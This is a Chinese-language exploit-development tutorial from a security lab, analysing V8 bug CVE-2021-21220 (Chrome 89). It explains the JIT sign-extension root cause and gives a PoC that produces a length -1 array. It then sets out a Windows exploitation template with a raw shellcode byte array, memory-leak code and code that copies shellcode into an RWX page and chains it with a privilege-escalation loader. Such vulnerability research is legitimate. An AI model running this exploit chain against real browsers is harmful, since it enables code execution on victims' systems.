从 0 开始学 V8 漏洞利用之 CVE-2021-21220(八)

 

作者:Hcamael@知道创宇404实验室

第六个研究的是CVE-2021-21220,其chrome的bug编号为:1196683

可以很容易找到其相关信息:

受影响的Chrome最高版本为:89.0.4389.114
受影响的V8最高版本为:8.9.255.24

并且还附带了exp

 

搭建环境

一键编译相关环境:

$ ./build.sh 8.9.255.24

 

漏洞分析

因为通过之前的文章,已经对模板套路很熟悉了,所以在之后的文章中,将不会过多讲诉套模板编写exp,而会让重点放在一些之前文章中没有的点上,更着重在漏洞利用技巧这块。

该漏洞的PoC如下:

const _arr = new Uint32Array([2**31]);

function foo(a) {
    var x = 1;
    x = (_arr[0] ^ 0) + 1;

    x = Math.abs(x);
    x -= 2147483647;
    x = Math.max(x, 0);

    x -= 1;
    if(x==-1) x = 0;

    var arr = new Array(x);
    arr.shift();
    var cor = [1.1, 1.2, 1.3];

    return [arr, cor];
}

上述PoC来源于:https://github.com/security-dbg/CVE-2021-21220/blob/main/exploit.js

因为我认为这个PoC更利于理解该漏洞。

根据我的理解,我做了如下修改:

var b = new Uint32Array([0x80000000]);
var trigger_array = [];
function trigger() {
  var x = 1;
  x = (b[0] ^ 0) + 1; // 0x80000000 + 1
  x = Math.abs(x); // 0x80000001 0x7fffffff
  x -= 0x7fffffff;  // 2 0
  x = Math.max(x, 0); // 2 0

  x -= 1; // 1 -1
  if(x==-1) x = 0; // 1 0
  trigger_array = new Array(x); // 1 0
  trigger_array.shift();

  var da = [1.1, 2.2];
  var ob = [{a: 1,b: 2}];
  return [da, ob];
}

在正常情况下,该函数的逻辑:

  1. b[0]为uint32类型的变量,其值为0x80000000。
  2. 异或了0以后,变成了int32类型,其值为-2147483648。
  3. 加上1以后,变成了-2147483647,赋值给了x。但是类型会被扩展成int64,因为js的变量是弱类型,如果x一开始的类型是int32,值为2147483647(0x7fffffff),那么x+1不会变成-1,而会变成。2147483648(0x80000000),因为int32被扩展成了int64。
  4. 然后使用math.abs函数计算绝对值,x值变为2147483647(0x7fffffff)。
  5. x – 0x7FFFFFFF = 0。
  6. 使用math.max函数计算x与0之间的最大值,为0。
  7. x – 1 = -1。
  8. 因为x=-1,所以x改为0。
  9. 新建了一个长度为0的数组。
  10. 因为长度为0,所以shitf无效,数组不变。

但是上述逻辑,经过JIT优化以后,就不一样了:

  1. b[0]为uint32类型的变量,其值为0x80000000。
  2. 将其转化成int64类型,其值为0x80000000。
  3. 加上1以后,变成了0x80000001。
  4. 然后使用math.abs函数计算绝对值,x值变为0x80000001。
  5. x – 0x7FFFFFFF = 2。
  6. 使用math.max函数计算x与0之间的最大值,为2。
  7. x – 1 = 1。
  8. 新建了一个长度为1的数组。
  9. shitf函数将数组的长度设置为-1,这就让我们得到了长度为-1的数组,通过该数据进行后续利用。

在JIT的优化过程中,存在两个问题:

1.将b[0]转化为int64,把符号去掉了,从Turbo流程图看,是通过ChangeInt32ToInt64来改变b[0]的变量类型,而在这个opcode实现的代码中:

void InstructionSelector::VisitChangeInt32ToInt64(Node* node) {
  ......
    switch (rep) {
      case MachineRepresentation::kBit:  // Fall through.
      case MachineRepresentation::kWord8:
        opcode = load_rep.IsSigned() ? kX64Movsxbq : kX64Movzxbq;
        break;
      case MachineRepresentation::kWord16:
        opcode = load_rep.IsSigned() ? kX64Movsxwq : kX64Movzxwq;
        break;
      case MachineRepresentation::kWord32:
        opcode = load_rep.IsSigned() ? kX64Movsxlq : kX64Movl;
        break;
      default:
        UNREACHABLE();
        return;
    }
......

根据上面代码可以看出,如果b[0]是有符号的,那么将会使用kX64Movsxlq指令进行转换,如果是无符号的就会使用kX64Movl指令进行转换。

b[0]因为是一个uint32类型的变量,所以使用movl进行扩展大小,所以没有扩展其符号,导致出现了问题。

2.shitf函数将数组长度设置为-1。

shift函数的正常逻辑是,判断数组的长度,如果其长度大于0,并且小于100,那么将会对长度的赋值进行优化,预测其长度,然后进行减1操作,直接写入数组的长度。

在JIT的预测当中,x的值为0,因为其预测是按照没有bug的情况进行预测的,但是实际情况x为1,这就导致实际情况的x通过了shitf的长度检查,然后却把x认为是0,从而-1,把数组的长度设置为了-1。

 

CVE-2021-21220总结

该漏洞的成因还是挺容易理解的,这研究其原理的过程中也要学会看Turbo,后续将为专门看Turbo的opcode写一篇paper。

 

Windows Chrome利用一条龙

接下来再记录一下v8漏洞在Windows实际的利用。

v8只是Chrome浏览器解析JavaScript代码的一个引擎,就算通过v8代码漏洞,能执行shellcode,也没办法获取到系统权限,因为在v8引擎的外层还一层沙箱,所以在v8漏洞的分析利用文章中,最后显示的效果都需要让Chrome启动加上--no-sandbox参数,所以v8漏洞的实际利用场景只能找一些使用了Chrome内核,并且没有开沙箱的应用。

除此之前,v8需要结合一些其他的漏洞,比如沙箱逃逸/提权漏洞,才能真正打穿Chrome。

本文说说,在Windows的环境下,怎么编写exp来结合Windows提权漏洞,来打穿Chrome。

1.你真正想执行的shellcode:

// shellcode.js
let usershellcode=[0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0xf,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x1,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x1,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x48,0x8d,0x8d,0x1,0x1,0x0,0x0,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0xa,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x6,0x7c,0xa,0x80,0xfb,0xe0,0x75,0x5,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x0,0x59,0x41,0x89,0xda,0xff,0xd5,0x6e,0x6f,0x74,0x65,0x70,0x61,0x64,0x0,0x0];

把一个弹计算器的shellcode设置一个变量,储存在shellcode.js

2.找一个Windows大哥,写一个Windows提权的loadpe(这部分内容后续会让我同事进行编写),并且写入loadpe中,loadpe的二进制将会写入dll.js。

// dll.js
let dll=[......];

这loadpe在进行Windows提权后,将会执行shellcode.js中的shellcode,而shellcode的地址,我们需要在exp中泄漏出来:

var myshell = new Uint8Array(0x1000);
for (i = 0x0; i < usershellcode.length; i++) {
    myshell[i] = usershellcode[i];
}
var shellDataAddr = addressOf(myshell);
console.log("[*] leak shellcode data addr: 0x" + hex(shellDataAddr));
var shellAddr = read64(shellDataAddr + 0x28n);
alert("[*] leak my shellcode addr: 0x" + hex(ftoi(shellAddr)));
bshellAddr = ftob(shellAddr);
addr_offset = ???;
let dllData = new Uint8Array(dll.length);
for (i = 0x0; i < dll.length; i++) {
    if (i>= addr_offset && i < addr_offset+8) {
        dllData[i] = bshellAddr[i-addr_offset];
    } else {
        dllData[i] = dll[i];
    }
}

3.我们需要泄漏出dll的地址,然后exp的shellcode作用是把loadpe内存设置为可读可写可执行权限,然后跳转过来:

var dllDataAddr = addressOf(dllData);
console.log("[*] leak dll data addr: 0x" + hex(dllDataAddr));
var dllAddr = read64(dllDataAddr + 0x28n);
alert("[*] leak dll addr: 0x" + hex(ftoi(dllAddr)));
var shellcode = [......];
bdllAddr = ftob(dllAddr);
Offset = ???;
for (let i = 0x0; i < 0x8; i++) {
    shellcode[0x2 + i] = bdllAddr[i];
    shellcode[Offset + 0x2 + i] = bdllAddr[i];
}
var Uint8Shellcode = new Uint8Array(shellcode.length);
var Uint64Shellcode = new BigUint64Array(Uint8Shellcode.buffer);
for (let i = 0x0; i < shellcode.length; i++) {
    Uint8Shellcode[i] = shellcode[i];
}
copy_shellcode_to_rwx(Uint64Shellcode, rwx_page_addr);
f();

按照这样的模板编写EXP,就可以跟Windows大哥编写loadpe的提权exp完美结合起来,我研究v8相关的漏洞,他研究Windows相关的漏洞,然后我们的成果却可以相互结合。

 

参考

  1. https://bugs.chromium.org/p/chromium/issues/detail?id=1196683
  2. https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=497472
(完)